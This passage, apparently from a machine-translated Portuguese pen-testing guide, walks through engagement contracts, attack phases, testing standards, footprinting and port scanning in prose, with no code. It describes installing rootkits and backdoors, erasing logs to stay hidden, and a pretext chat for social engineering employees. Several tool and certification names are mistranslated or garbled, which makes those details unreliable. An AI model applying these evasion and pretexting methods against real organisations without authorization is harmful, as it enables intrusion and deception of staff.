diferentes componentes de rede e suas configurações. Por exemplo, há algum
padrão que ainda está em jogo? Você também terá que examinar a segurança
do aplicativo do lado do cliente.
A equipe de teste deve verificar o aplicativo do lado do cliente quanto à
segurança e conformidade, bem como a segurança do lado do cliente para o
servidor, conforme os dados são transmitidos do cliente para o servidor.
Como esse tráfego é protegido e, como você fez a verificação do tráfego do
cliente para o servidor, também deseja examinar a segurança do lado do
servidor. Portanto, você estará olhando para ambos; aplicativos da web e os
próprios aplicativos em execução em busca de falhas.
No escopo, você terá que implementar métodos de engenharia social para
tentar ver se consegue reunir algumas senhas ou detalhes do projeto também.
O escopo também deve incluir a documentação da segurança existente.
Além disso, você quer pensar em como os funcionários destroem documentos
que não são mais usados? Uma coisa que você deve enfatizar é o uso de
dispositivos de trituração.
Você também precisará avaliar a segurança de comunicação do aplicativo
para quaisquer interceptações não autorizadas. Dentro do escopo, você terá
que olhar para a segurança física também, porque a organização deve
restringir o acesso físico apenas aos departamentos que são relevantes para o
uso desses sistemas.
Muitas empresas contratam empresas de trituração para comparecer no local
e descartar seus documentos, mas as informações ainda vazam pelo lixo
comum, então você quer garantir que eles entendam que esse é um dos
vetores que podem ser usados contra eles.
Você também deve verificar se há funcionários insatisfeitos que possam
divulgar dados confidenciais ou levá-los para um concorrente. Uma das
outras coisas importantes que você pode revisar com o cliente é sabotar a
confusão do intruso.
Muitas vezes, as empresas implementam estratégias como um pote de mel
para confundir ou até mesmo enganar os intrusos. Eles acabam gastando seu
tempo pensando que o pote de mel é genuíno.
Como um pen-tester, você deseja certificar-se de testá-los, se houver. Você
também deseja testar dentro do escopo da resposta. Por exemplo, qual é a
resposta apropriada para cada tipo de incidente.
Em seguida, você deve olhar os contratos. Aqui, você deseja garantir que
seus documentos incluirão seu contrato de não divulgação. Isso é para
garantir que você proteja as informações da empresa.
Você também deve ter clareza sobre as taxas e os cronogramas,
principalmente se o projeto ultrapassar o cronograma estimado porque você
pode se deparar com algo que não foi previsto.
Você também precisará ter um documento de informações confidenciais. Isso
inclui informações relacionadas aos ativos eletrônicos da empresa, aplicativos
que estão atualmente em desenvolvimento ou qualquer coisa de natureza
confidencial exigida pela equipe de teste.
Você também deve incluir um contrato de informações confidenciais. Aqui
você incluirá informações de segredos comerciais, informações de rede,
informações do sistema telefônico, dados de clientes ou outros materiais
comerciais.
Esse tipo de informação é fornecido ao pen-tester, e este é outro motivo pelo
qual mencionei anteriormente que recomendo que a empresa forneça a você
um laptop de sua propriedade, para que eles não tenham que se preocupar
com você levando
com algumas de suas informações confidenciais.
O contrato também deve mencionar que você não revelará ou fornecerá
cópias a terceiros ou concorrentes. Isso ajuda a estabelecer um nível de
confiança entre você e a empresa, porque você está prestes a atacá-los e ver
se pode roubar informações.
O próximo item da lista é a cláusula de indenização. Isso protege o pen-tester
de quaisquer responsabilidades legais ou financeiras. Às vezes acontece que o
pen-test resulta em alguma perda ou dano aos ativos da empresa.
Você também deve ter em sua seção de relatórios e responsabilidades de
contrato. Esta deve ser uma diretriz que estabelece a metodologia para
realizar o teste e como você relatará esses procedimentos.
O próximo item em sua fase de pré-ataque é a coleta de informações. Isso
pode ser feito de algumas maneiras diferentes. Você pode, por exemplo,
utilizar seu reconhecimento passivo, olhando para registros públicos.
Você pode estar pesquisando um pouco sobre a empresa ou qualquer coisa
que não seja muito agressiva. Ou você também pode fazer o oposto disso,
fazendo uma vigilância ativa agressiva.
Você também deve fazer alguns perfis da web. O perfil da Web significa que
você pode obter uma estrutura de diretório dos servidores da Web ou
servidores FTP e catalogar todos os formulários baseados na Web, tipos de
entrada do usuário permitidos e destinos de envio de formulários.
Porém, você também deve catalogar mensagens de erro que surgem porque
isso pode ajudar a identificar links e aplicativos de terceiros. Como você pode
ver, a lista é longa e você passa muito tempo nesse estágio específico e isso é
o que ajuda a cobrir os dois; você e o cliente, portanto, há um nível de
expectativa que precisa ser atendido.
Capítulo 6 Teste de Caneta na Etapa 2

O estágio 2 do teste de caneta é o estágio de ataque. Todas as informações


que você coleta durante o estágio de pré-ataque o ajudam a criar uma
estratégia de ataque completa. A fase de ataque envolve o comprometimento
do alvo.
Você pode ir atrás de uma exploração de vulnerabilidade que descobriu
durante o estágio de pré-ataque ou até mesmo utilizar algumas brechas, como
políticas de segurança fracas ou políticas de senha para tentar obter acesso ao
sistema.
É importante observar que o invasor precisa se preocupar apenas com uma
porta de entrada ou com um mecanismo para entrar, portanto o cliente ou
empresa precisa se preocupar em cobrir todas as suas bases.
Em vez de ser passivo, você precisa se tornar ativo. Assim que o contrato for
finalizado e você tiver permissão para se envolver, primeiro você deve tentar
penetrar o perímetro observando as máquinas que estão expostas
externamente e como elas reagem.
Você deve então examinar como enumerar esses alvos depois de entrar. Caso
saiba qual é o alvo, será mais fácil tentar alcançá-lo.
Depois de atingir a meta, a próxima coisa que você deve fazer é escalar seus
privilégios, para que possa fazer mais com esse sistema específico. Por fim,
você precisará garantir que poderá voltar ao sistema executando, implantando
e retraindo, usando rootkits.
Vamos entrar em detalhes sobre como você faria cada um desses itens. A
principal forma de testar o perímetro é perseguir o próprio firewall, e você
fará isso enviando e elaborando alguns pacotes para verificar como o firewall
reage.
Isso pode ser feito observando como o firewall lida com fragmentação,
fragmentos sobrepostos, inundações de pacotes.
Você também pode fazer isso criando alguns pacotes para que possa verificar
as listas de acesso ou ACLs do firewall, como o que é permitido e o que não
é.
Tecnicamente, o que é permitido e o que é negado. Você também deve dar
uma olhada em como os protocolos são filtrados ao tentar se conectar a
vários protocolos, como SSH, FTP ou mesmo Telnet.
Você também deve tentar medir os limites para diferentes ataques de negação
de serviço, tentando enviar conexões TCP persistentes e ver como o firewall
lida com isso, ou mesmo tentando transmitir conexões UDP.
Fazendo isso, você aprenderá quais são os limites definidos no firewall. Você
também deve tentar enviar alguns URL-s malformados para ver como o IDS
responde.
Você também pode tentar ver como os serviços da web respondem a algumas
solicitações, como solicitações de postagem, exclusão ou cópia. Em seguida,
você tem que ir atrás de enumerar máquinas.
O objetivo de enumerar máquinas é descobrir o máximo de informações
possível sobre o host. Você pode ter descoberto algo durante o ambiente de
pré-teste, mas a fase de ataque o deixa ativo.
Mas alguns dos perímetros que você vai descobrir podem ser coisas como:
qual é a ID da máquina ou qual é a descrição da máquina, e isso o ajudará a
identificar onde as máquinas estão fisicamente localizadas.
Você também precisará fazer um inventário da acessibilidade de rede dessas
máquinas. Depois de enumerar as máquinas, a próxima etapa é adquirir o
alvo.
Isso ocorre porque você sabe tudo na rede ou pelo menos uma parte decente
dela. Com base no que você descobriu, você pode ir atrás dessas
vulnerabilidades.
Algumas maneiras de obter mais informações sobre o alvo são ataques de
sondagem. Isso significa que você terá como alvo as máquinas que descobriu
com diferentes tipos de ataques para ver quais são vulneráveis.
Portanto, você deve executar varreduras de vulnerabilidade. Você também
precisa adquirir o alvo fazendo algo básico, como usar o que é conhecido
como sistemas confiáveis.
Isso envolve tentar acessar os recursos do dispositivo por meio de
informações obtidas de forma legítima por meio de ataques de engenharia
social.
Depois de adquirir o alvo, sua próxima etapa é escalar os privilégios. Às
vezes, esse escalonamento é realizado pelo invasor, portanto, para fazer isso,
você, como pen-tester, deve tentar tirar proveito dos bugs e falhas no design
do sistema operacional ou dos aplicativos.
Talvez até mesmo configurações incorretas em um sistema operacional ou
tente elevar o acesso a um aplicativo de um usuário normal para alguém com
permissões mais altas.
O escalonamento de privilégios é normalmente executado por invasores para
realizar diferentes tipos de atividades, como excluir arquivos, examinar
informações confidenciais ou instalar programas que podem ajudá-los a
voltar mais tarde, como um cavalo de Tróia ou vírus.
Esses são chamados tecnicamente de backdoors. Algumas maneiras de
escalar seus privilégios incluem políticas de segurança insatisfatórias ou
aproveitando e-mails ou códigos de sites que não foram testados para ver se
você pode reunir as informações que podem levar a um escalonamento de
privilégios.
Você também pode fazer isso por meio de um ataque de força bruta. A força
bruta consome mais tempo e existem várias ferramentas por aí, como
crackers de senhas, cavalos de Tróia ou até mesmo engenharia social.
A engenharia social é uma das maneiras mais fáceis e preferidas de invasores
porque é difícil de rastrear. Depois de escalar os privilégios de uma conta, a
próxima coisa que você deve fazer é tentar executar, implementar e retirar.
Alguns sistemas são vulneráveis a ataques de negação de serviço ou estouro
de buffer e a alguns vírus antigos, como rootkits, cavalos de Tróia e malware.
Se você for capaz de estabelecer um rootkit ou cavalo de Tróia que pode
levar a acessar mais informações ou mais recursos do sistema, você deve ver
se consegue cobrir seus rastros apagando arquivos de log ou ocultando as
modificações que você fez.
Você, como um pen-tester, também deve garantir que pode alterar as
configurações do sistema e permanecer oculto. Então você quer ver se pode
ser detectado ou não.
Depois de fazer tudo isso, você deve garantir que pode voltar pelo backdoor e
ver se há algum alerta, como alertas por e-mail, de que engenheiros podem
ter sido recebidos ou avisados.
Capítulo 7 Teste de Caneta na Etapa 3

Se você acha que as etapas pré-ataque ou as etapas reais do ataque são as


mais importantes, isso não é tecnicamente verdade. As etapas mais críticas
estão na fase pós-ataque porque você está fazendo isso, de um ponto de vista
ofensivo.
É responsabilidade do pen-tester limpar a bagunça. Você terá que garantir
que retornou os sistemas ao estado de pré-teste.
Você não apenas faz bagunça e sai. Portanto, você deve remover todos os
arquivos que carregou, todos os dados nos quais fez modificações; você se
certificará de restaurá-los, bem como quaisquer configurações que possa ter
alterado.
Esse também é um dos motivos pelos quais é vital documentar cada etapa ao
longo do caminho. Você também deve desfazer quaisquer privilégios ou
configurações de usuário se tiver feito qualquer escalonamento de privilégios.
Você também deve garantir que restaurou a rede na qual fez alterações no
DNS ou em qualquer endereço IP. Em resumo, você deve recriar o mesmo
estado de rede que estava antes de você entrar.
Se você entrou no registro de alguma forma em qualquer sistema, você deve
garantir que você os retornou às mesmas configurações também.
Às vezes, você pode até criar diferentes compartilhamentos e conexões,
portanto, deve desfazê-los e também garantir que documentou todos os logs
que foram capturados, bem como as entradas que foram modificadas.
Depois disso, você terá que analisar os resultados e, ao invés de criar
problemas, terá que desenvolver soluções. Depois de fazer tudo isso, você
deve apresentar essa documentação ao seu cliente, enquanto deve identificar
o sistema crítico e os recursos críticos que estão em risco e chegar a uma lista
priorizada do que precisa ser modificado primeiro.
Capítulo 8 Padrões de teste de penetração

As diferentes maneiras de fazer o pen-test dependerão da metodologia que


você decidir usar. Existem muitos padrões por aí. Vamos cobrir alguns deles,
para que você possa saber qual deles é mais adequado para você.
Vamos primeiro começar com o OSSTMM, que significa Open Source
Security Testing Methodology Manual. Este conjunto padrão de teste de
penetração está tentando alcançar uma matriz de alta segurança.
Em resumo, este é considerado o padrão para alguns dos mais altos níveis de
teste. Existe outro chamado OWASP, que significa Open Web Application
Security Project.
OWASP é uma metodologia de código aberto, inclui inúmeras ferramentas
que podem te ajudar muito, e também tem uma base de conhecimento, bem
como uma ferramenta que se chama ZAPP ou Zed Attack Proxy Project.
ZAPP é uma ferramenta que pode ajudá-lo automaticamente a encontrar
vulnerabilidades em aplicativos da web. O ZAPP foi projetado para
desenvolvedores da web, mas os pen-testers também podem usar essa
ferramenta.
Há também outro framework chamado ISSAF, que é o Information System
Security Assessment Framework. ISSAF também é um projeto de código
aberto sobre como conduzir um pen-test. A ISSAF é apoiada por um grupo
denominado grupo de segurança do sistema de informações públicas.
Outro padrão que você deve examinar é o chamado NIST, que significa
National Institute of Standards and Technology. Quando se trata do NIST,
você deve saber que a agência federal de tecnologia trabalha com a indústria
para desenvolver e aplicar tecnologias, medições e padrões.
Também temos LPT, que significa EC-Council's License Penetration Tester.
Essa é uma metodologia proprietária, e tem outra da McAfee, que se chama
Foundstone e também tem ISS, que é feito pela IBM.
Quando se trata da IBM, eles fazem os testes para você. Eles também tinham
um produto baseado em assinatura chamado Proventia, que agora foi
descontinuado. Este era um dispositivo de segurança multifuncional e
oferecia vários serviços diferentes para ajudar a proteger ou testar seu
ambiente de rede.
A mesma coisa vale para McAfee e Foundstone também. É tecnicamente
propriedade da Intel. Com o LPT do EC-Council, o examinador deve passar
por várias etapas diferentes, semelhantes ao CEH.
Você tem que fazer um curso, passar por um processo de inscrição, que inclui
uma taxa de $ 900, e eles fornecerão acesso ao ambiente Aspen do Conselho
da CE.
Eles fazem um pen test em um ambiente de teste e têm 30 dias para enviar
seu relatório ao EC-Council. Com cada uma delas, seja o código-fonte aberto
ou as versões proprietárias dessas metodologias, todas são semelhantes umas
às outras.
Cada um dos métodos o ajudará a cobrir todas as suas bases. Todos eles
começam com um estágio de coleta de informações, sobre o qual falamos
anteriormente.
É uma questão de sair e encontrar o máximo de informações possível sobre o
alvo ou a empresa, seja em fontes públicas, jornais, artigos da internet, blogs
ou fontes de dados de terceiros.
Em seguida, você deve passar por um teste de caneta externo e procurar
vulnerabilidades que podem ser acessadas externamente. Em seguida, você
examinaria uma análise de vulnerabilidade para encontrar os pontos fracos
com base em software, sistemas operacionais ou máquinas.
Depois disso, você faria um teste de penetração da rede interna para ver que
tipo de informação é exposta de dentro. Em seguida, você passa pelo teste de
abertura do firewall.
Esta é a sua principal linha de defesa do mundo exterior, mas você também
faria testes no DMZ. Como observação lateral, DMZ significa Zona
Desmilitarizada, às vezes chamada de rede de perímetro ou sub-rede filtrada.
Em seguida, você deve verificar se o IDS está fazendo o que deve fazer, que
detecta intrusões. Como um pen-tester, você tentará ver se alguma
vulnerabilidade permitiria ao invasor contornar as configurações dos alarmes
configurados nesses sistemas.
Em seguida, os métodos de quebra de senha podem ser usados para
identificar pontos fracos associados ao gerenciamento de senhas. Isso ajuda a
garantir que você não esteja sujeito a ataques de força bruta, ataques híbridos
ou ataques de dicionário.
Essas metodologias também garantem que você cubra os pen-testes de
engenharia social. Esses tipos de experimentos podem ser feitos usando
métodos humanos ou engenharia social com computadores, fazendo com que
alguém abra um anexo de e-mail.
Você também terá que se cobrir examinando os pen-tests de aplicativos da
web. Você estará procurando vulnerabilidades relacionadas ao código ou de
back-end. Provavelmente, alguns testes mais famosos incluem o pen-test
SQL.
A injeção de SQL ainda é dominante hoje. Ele tira proveito de variáveis de
entrada não validadas que são transmitidas por meio de comandos SQL por
meio do aplicativo da web que é executado no banco de dados back-end.
Dependendo de onde você coloca seus roteadores na rede e switches, eles
encaminham pacotes de dados de ponto a ponto, às vezes dentro e às vezes
fora do sistema.
Se você desligar um roteador, acabará retirando todo mundo que está
conectado à internet. Quando você está testando roteadores com caneta,
normalmente pode fazer isso da Internet, bem como de dentro.
Você também terá que olhar para a rede sem fio. Aqui, você vai se concentrar
na disponibilidade de redes sem fio externas que podem ser acessadas por
funcionários da empresa.
Tecnicamente, isso contorna o firewall da empresa, porque a rede sem fio não
pode ser restringida e vai para todos os lugares no ar e não a vemos, e o sinal
pode ser acessado de fora dos limites físicos da localização da empresa.
Você também examinará a força da criptografia e o tipo de criptografia que
está sendo implantado. Você também continuará a cobrir suas bases com
essas metodologias, fazendo teste de negação de serviço.
Veja se você pode derrubar a rede corporativa ou um site de comércio
eletrônico inundando-o com pacotes ou tanto tráfego que ele não sabe mais o
que fazer. Quando você está fazendo um ataque de negação de serviço, o que
você está procurando é o limite onde o sistema começa a ter uma falha.
Você deve pensar em como lidaria com máquinas roubadas. Por exemplo,
depois de bloquear todos os seus telefones e laptops, você também deve
pensar no que acontece quando essas máquinas são roubadas.
Por exemplo, a equipe de pen-testing pode tentar pegar equipamento móvel e
realizar testes offline para obter acesso às informações armazenadas nessas
máquinas offline.
Por exemplo, você não deve ir atrás do computador de alguém no
departamento de vendas, em vez disso, tente concentrar seu ataque em
alguém que você identificou como um profissional de TI.
Se você conseguir alguém do departamento de TI ou alguém da gerência
sênior, bem, essas pessoas têm mais permissão ou acesso a mais sistemas do
que o restante dos funcionários.
Você também deve examinar os testes de penetração do código-fonte. Muitas
empresas hoje estão usando aplicativos criados internamente e, às vezes,
esses aplicativos nem mesmo são considerados parte da plataforma de
segurança.
Como um pen-tester, você vai olhar o código-fonte manualmente ou há várias
ferramentas que podem ajudá-lo, como o Zappit.
Nesse tipo de teste, a equipe de teste tentará obter acesso às instalações antes,
durante e após o horário comercial, mas não deve fazer nada destrutivo.
Por exemplo, você não quebra janelas, mas se consegue arrombar a fechadura
com facilidade, desmontar o portão ou pular catracas, muitas empresas
concordam.
Algumas empresas estão um pouco assustadas com a realização desse tipo de
teste, então outra coisa que você deve fazer é dar instruções passo a passo
para fornecer à empresa uma perspectiva objetiva de seus controles de
segurança que estão em vigor e como eles podem ser contornados.
Da mesma forma, verifique se a empresa possui câmeras? Em caso
afirmativo, você deseja saber se eles operam com uma interface da web.
Quais são os seus ângulos de visão? Por exemplo, você pode utilizar um
drone para voar até uma área e olhar para o topo da câmera para olhar atrás
da câmera sem ser detectado.
Em resumo, você pode ver quanto movimento é permitido antes que a câmera
seja ativada ou onde está a visibilidade da câmera. Você também precisará
verificar os bancos de dados.
É aqui que você tentará acessar diretamente os dados contidos no banco de
dados, tentando utilizar alguns métodos de quebra de senha. Você poderia
também tente fazer seu ataque de injeção SQL padrão, mas não bancos de
dados baseados em SQL.
Você também terá que examinar o vazamento de dados. Aqui, você deve
entender se os dados descobertos contêm qualquer propriedade intelectual,
dados privados ou confidenciais.
Esse pen test em particular deve tentar ajudar a empresa a evitar que
informações confidenciais cheguem ao mercado ou aos concorrentes.
Portanto, você deve verificar quem tem acesso a esses arquivos?
Você também deve tentar aumentar a conscientização dos funcionários sobre
as melhores práticas. Isso é mais direcionado, mas se a empresa estiver
usando uma plataforma SAPP, você pode implementar um pen-test para ver
se ele foi corrigido corretamente.
Isto é, para que você possa descobrir se há alguma vulnerabilidade que um
invasor possa utilizar, já que o SAPP contém muitas informações críticas
para os negócios. Outra área que deve ser examinada durante o pen-test é o
pen-test VPN ou Virtual Private Network.
A maioria das empresas permite que alguns de seus funcionários trabalhem
remotamente se estiverem viajando ou trabalhando em casa. Em qualquer um
dos casos, os VPN-s criam uma conexão confiável com a rede interna.
Ele sabe que o pen-tester tentará obter acesso à VPN tentando comprometer
um endpoint remoto ou tentando obter acesso ao túnel VPN, para que possam
obter acesso à rede.
Além disso, você também deve tentar obter acesso à rede VoIP ou Voice over
IP para tentar gravar conversas ou fazer uma negação de serviço para que não
possam se comunicar.
Outro recurso popular é a nuvem, portanto, quando você começa a usá-la, a
segurança é baseada na responsabilidade compartilhada do provedor e do
cliente, e há muitos riscos de segurança associados à computação em nuvem.
Outros testes que você deve realizar incluem dispositivos virtuais. A maioria
das empresas já usa virtualização. Como o dispositivo host está totalmente
corrigido, não significa que a VM ou a máquina virtual esteja.
O que você pode descobrir é que o dispositivo virtual está corrigido, mas o
host não, e como o ambiente virtual é uma duplicação exata do ambiente
físico, ele sofre os mesmos problemas de segurança.
Se a VM estiver executando software ou aplicativos, ela está vulnerável. o
o invasor não se importa se é virtual ou não. É apenas mais um alvo.
Ao fazer esses tipos de teste, você está procurando ver se consegue passar por
uma tecnologia mais antiga que pode ser esquecida por uma empresa.
Você deve verificar se há modems antigos que ainda mantêm suas senhas
padrão. Os modems estão se identificando por meio de um banner.
Seja um Trojan, um vírus ou ransomware, mas, por exemplo, Trojans
projetados para roubar informações confidenciais, excluir dados, substituir
arquivos do sistema operacional, talvez até executar um ataque de negação de
serviço, começar a vigiá-lo com keyloggers, criar backdoors ou fornecer
acesso remoto Acesso.
Os vírus são projetados para destruir dados, tornar os sistemas mais lentos,
consumir recursos e você também tem o problema de ransomware. Como um
testador de penetração, você deseja assegurar-se de procurar quaisquer portas
abertas que possam ser suspeitas.
Além disso, você deve procurar por quaisquer processos ou entradas de
registro ou drivers de máquina infectados, serviços do Windows ou serviços
falsos, quais programas têm acesso à rede, como os usuários ou funcionários
lidam com malware ou ransomware vindos de e-mail e assim por diante .
Outra coisa que você deve considerar ao fazer seu pen-test, é olhar o
gerenciamento de log. Os arquivos de log registram quem, o quê, onde,
quando, de tudo na rede, gerenciando assim esses arquivos de log,
certificando-se de que sejam colocados em locais devidamente protegidos ou
monitorando-os para quaisquer modificações.
Quando for tarde demais, você também deve testar a integridade dos
arquivos. Como eles estão lidando com isso? Aqui, você deve se certificar de
que nenhum arquivo está sendo violado, especialmente quando se trata de
arquivos do sistema operacional.
Isso também está relacionado a malware, mas você deve tentar identificar
quem modificou os dados, quais são os atributos e como são registrados e
mantidos.
Quando se trata de dispositivos móveis, bem, todo mundo tem dispositivos
móveis hoje em dia. Todo mundo quer estar no celular, e as implantações
BYOD ou Traga seu próprio dispositivo estão se tornando muito populares,
então você deve começar a monitorar e verificar os dispositivos móveis das
pessoas.
Porque essas máquinas portáteis operam com diferentes sistemas operacionais
e aplicativos diferentes, ele apresenta novos problemas de segurança para
todos nós.
Tecnicamente, deve haver uma pessoa monitorando os dispositivos móveis o
tempo todo. Falamos sobre VoIP, mas também temos testes de penetração de
telecomunicações e banda larga.
Não importa qual empresa em qual prédio você está olhando; você pode
reunir os dados de todos. Uma das maneiras mais importantes pelas quais as
pessoas entram no sistema é usando malware e ransomware por e-mail, de
modo que você também deve olhar para a segurança de e-mail.
O email é a comunicação mais usada no mundo hoje. Mas o principal motivo
de ser importante, é porque estamos usando e-mail para armazenar
informações pessoais e dados corporativos com anexos.
Por exemplo, se você conseguir obter a conta dos CIO-s ou CTO-s, isso pode
ter um impacto significativo na empresa. Portanto, a segurança de e-mail
deve ser analisada interna e externamente.
Capítulo 9 Introdução à pegada

Quando se trata de teste de penetração e pegada no alvo, o objetivo é


determinar quais informações estão disponíveis publicamente sobre seu alvo.
São informações disponíveis na internet, como arquitetura de rede, sistemas
operacionais, aplicativos ou usuários.
Isso é passivo no que diz respeito à pesquisa. Você, como pen-tester, deve
tentar todas as maneiras possíveis de ir atrás de hosts ou redes.
Pode ser qualquer um deles, mas você deve usar qualquer meio possível para
reunir o máximo de informações possível antes de entrar no próximo estágio
do teste de penetração.
Se você encontrar informações confidenciais em qualquer site ou local que
esteja publicamente disponível, essas informações precisam ser relatadas à
organização em seu relatório.
Se você encontrar informações que acredita serem críticas e achar que não
deve esperar um mês ou mesmo uma semana antes de enviar o relatório
completo, notifique seu contato de emergência imediatamente.
Este estágio do ataque deve ajudar a prevenir o vazamento de informações e
ajudá-lo nas tentativas de engenharia social. Vejamos os detalhes.
A primeira coisa que você pode fazer é obter a autorização adequada, e isso
será feito por quem está no comando. Pode ou não incluir administradores de
sistema.
Muitas vezes, as empresas precisam saber como está o desempenho de seus
administradores de sistema. Depois de passar por esse processo, você deve
garantir que definiu o escopo.
Limitar o escopo do pen test é um pré-requisito. Passar por esse estágio ajuda
a definir a lista de itens que precisam ser testados. Por exemplo; quais são os
intervalos de IP ou intervalos de sub-rede dos sistemas, ou quais são suas
limitações.
Depois de definir o escopo, você deve planejar e coletar informações sobre
esse escopo usando suas ferramentas de reconhecimento. Você deve começar
com mecanismos de busca como Google, Bing ou Yahoo, qualquer um que
você use para verificar quais informações estão sendo expostas no momento.
Você também pode verificar alguns outros sites específicos, como sites de
redes sociais como o Facebook, e ver se há uma página do Facebook ou conta
do Twitter para a empresa.
Em seguida, você deve ver quem são os amigos dessa empresa, porque é aí
que você encontrará os funcionários existentes e verá se pode voltar atrás.
Depois de procurar nos motores de busca, você deve tentar ver se consegue
“hackear” no Google. Você pode fazer isso utilizando ferramentas adicionais
que fornecem uma interface gráfica do usuário, como o SiteDigger ou o
banco de dados de hackers do Google.
Ao hackear o Google, ele permitirá que você encontre recursos que foram
rastreados pelo mecanismo de pesquisa do Google que as empresas podem
não saber que estão listados lá, como impressoras ou câmeras, que podem
fornecer uma visão dos endereços IP que estão expostos, ou o que a máquina
que eles têm.
Seu próximo passo após o hack do Google é ir atrás de redes sociais, como
Facebook, Twitter ou LinkedIn.
As pessoas têm tendência, no nível das redes sociais, de baixar a guarda. É
fácil não ver do que as pessoas estão falando, mas conversas iniciais com
usuários ou funcionários podem ser uma ótima maneira de coletar
informações.
Você pode ir e iniciar um bate-papo com um funcionário existente e dizer:
“Olá, parece que você tem uma excelente empresa, e estou pensando em
entrar para a equipe de TI. Que tipo de dispositivo você usa lá? ”
A próxima etapa é ir e imprimir os sites da Web, e você fará isso com o
BlackWidow ou o Web Site Copier. Com essas ferramentas, primeiro você
precisa baixar o site deles para que possa visualizá-lo offline e examinar o
código.
Você deve lembrar que tudo o que é apresentado a você em uma interface da
web são arquivos que são baixados para o seu sistema. Portanto, por que não
baixar uma cópia exata desse site para que você possa dar uma olhada no que
eles estão fazendo no back-end, especialmente se estiverem fazendo
chamadas do front-end para o back-end.
Em seguida, você pode começar a examinar algumas pegadas de e-mail.
Você pode usar algumas ferramentas excelentes que farão isso por você,
como o comando “nslookup” para descobrir os nomes DNS e endereços IP de
seus servidores.
Algumas das informações que você pode obter de e-mails incluem o
criptografia que estão usando e outros serviços que podem ser usados junto
com seu ambiente de e-mail.
Você também pode descobrir como eles estão hospedando os servidores de e-
mail ou quais provedores de hospedagem eles usam. Em seguida, você pode
fazer alguma inteligência competitiva.
Inteligência competitiva é a maneira que a maioria das empresas usa para
descobrir mais sobre seus concorrentes. Os invasores podem usar esses
mesmos recursos para descobrir o que as pessoas estão fazendo, e também é
uma excelente maneira para as empresas descobrirem em quais projetos seus
concorrentes estão trabalhando atualmente.
Em seguida, você deve fazer um reconhecimento “whois”, para que possa
descobrir quem é o proprietário do intervalo de endereços IP ou de seu
domínio. Para fazer isso, você pode usar ferramentas como Dossiê de
Domínio ou SmartWhois.
Às vezes, essas ferramentas também farão alguma enumeração necessária
com base no DNS, que é sua próxima etapa. Para reconhecimento de DNS,
você pode usar ferramentas como Sam Spade ou DNSstuff, mas sempre usa o
comando “nslookup”, que é muito poderoso.
Um dos motivos pelos quais você deve fazer um reconhecimento de DNS é
porque você é capaz de determinar os hosts principais na rede que podem ser
usados para realizar ataques de engenharia social ou durante um ataque de
envenenamento de DNS.
Sua próxima etapa é realizar um reconhecimento de rede. Para isso, você
deve usar tipos de ferramentas, como “Path Analyzer Pro”, que mostra o
caminho que um pacote percorre, ou Network Pinger ou VisualRoute, que
permite encontrar mais informações sobre a rede visada.
Isso o ajudará a desenhar um diagrama melhor do que você está lidando.
Você também deve tentar algum ataque de engenharia social que inclua
"navegação no ombro" para ver se consegue reunir informações observando o
que as pessoas estão fazendo.
Outros ataques de engenharia social também incluem lixeira ou espionagem.
Isso permitirá que você reúna informações, como os produtos de segurança
da organização que estão usando, sistemas operacionais, versões de software,
layout de rede, endereços IP ou os nomes de seus servidores.
Você deve certificar-se de documentar tudo o que encontrar. Isso ocorre
porque você terá que usar este documento e todas as informações que possui
coletados para compreender e analisar a postura de segurança de seu alvo.
Você ficará surpreso com as informações que pode concluir do que você
obtém usando esse método. É por isso que é tão importante passar o máximo
de tempo possível aqui, para que você possa criar um mapa de tudo o que
está prestes a fazer.
Capítulo 10 Descoberta de host com varredura de porta

Quando se trata de escanear seu dispositivo de destino, você precisa descobrir


quais sistemas estão ativos na rede e com que frequência eles estão ativos na
rede.
Além disso, eles ficam acordados apenas em determinados horários? Você
também terá que descobrir as portas que estão abertas atualmente nesses nós
e os serviços que estão em execução?
Cada uma dessas coisas o ajudará a determinar se existe alguma
vulnerabilidade que você possa perseguir em seu dispositivo de destino.
Outra forma de escanear a rede é descobrir se há algum banner que você
possa pegar.
Ao passar por esse processo, você aprenderá quais portas deseja fechar e, se
houver banners, você poderá ocultá-los ou personalizá-los. Você também
precisará ver quais serviços não são desejados e, se não forem, você deve
desativá-los.
Isso também pode lhe dar uma compreensão de como você pode padronizar
suas regras de sistema de detecção de intrusão e firewall, e você também verá
o vetor de configuração incorreta e o que você deseja fazer para consertar
essas configurações incorretas.
Depois de iniciar o processo de varredura, você deve executar uma
descoberta de host, que detectará hosts ativos na rede de destino. Existem
inúmeras ferramentas que você pode usar, e algumas delas são baseadas em
GUI, enquanto outras são baseadas em linha de comando.
Por exemplo, a ferramenta chamada “Nmap” analisa o ambiente baseado em
DOS ou somente prompt de comando. O Nmap também possui uma versão
GUI chamada Zen Map. Existem outras ferramentas por aí também, mas
essas são as mais populares.
Essas ferramentas não foram feitas para enganar; mas você também pode usá-
los dessa forma. Depois de reunir uma lista de nós que estão ativos na rede,
seu próximo objetivo é fazer uma varredura de porta.
Executando uma varredura de porta, você aprenderá quais portas estão
abertas. Por meio dessas portas, um invasor pode instalar malware em um
sistema ou tirar proveito de vulnerabilidades específicas.
Portanto, você deve sempre verificar quais portas estão abertas e incluí-las
em seu relatório se elas não forem obrigatórias. Algumas ferramentas que
você pode usar são
“Nmap” de que já falei, mas é preciso entender que algumas dessas
ferramentas são multiuso.
Outra ferramenta que você pode usar é chamada “NetScanTools Pro”. Você
pode ter outras ferramentas de sua preferência, mas deve escolher uma e
dominá-la. Entretanto, é bom ter contacto com outras ferramentas também, e
não só para a sua experiência ou para colocar no seu currículo, mas também
por outros motivos.
Por exemplo, quando você começar a usar essas ferramentas, perceberá que
cada um desses softwares tem certas limitações e, enquanto um deles faz um
trabalho, o outro pode ajudá-lo a fazer melhor outro trabalho.
Eu recomendo que você se concentre no “Nmap” para o seu futuro imediato,
bem como para o seu mundo real. O Nmap é uma ferramenta muito útil e
flexível, mas quando se trata dessa indústria, a maioria dos Hackers Éticos ou
Profissionais de Pen test simplesmente o ama.
A próxima etapa é agarrar um banner. Às vezes, as pessoas se referem a ele
como uma impressão digital do sistema operacional. Ao fazer uma captura de
banner, você pode enviar comandos individuais para um sistema e ele
responde de uma maneira específica, e sabemos que os dispositivos Windows
reagem de uma determinada maneira, assim como os dispositivos Linux.
Cada sistema operacional responde em uma abordagem diferente aos mesmos
comandos e os Macs também fazem a mesma coisa. Essas respostas
identificam o sistema operacional, o que permite que você encontre e explore
a vulnerabilidade relacionada a esse sistema operacional.
As ferramentas que você pode utilizar para captura de banner incluem
aparelhos como “Telnet ou SSH”. Em seguida, você pode começar a fazer a
varredura em busca de vulnerabilidades. Verificando a rede em busca de
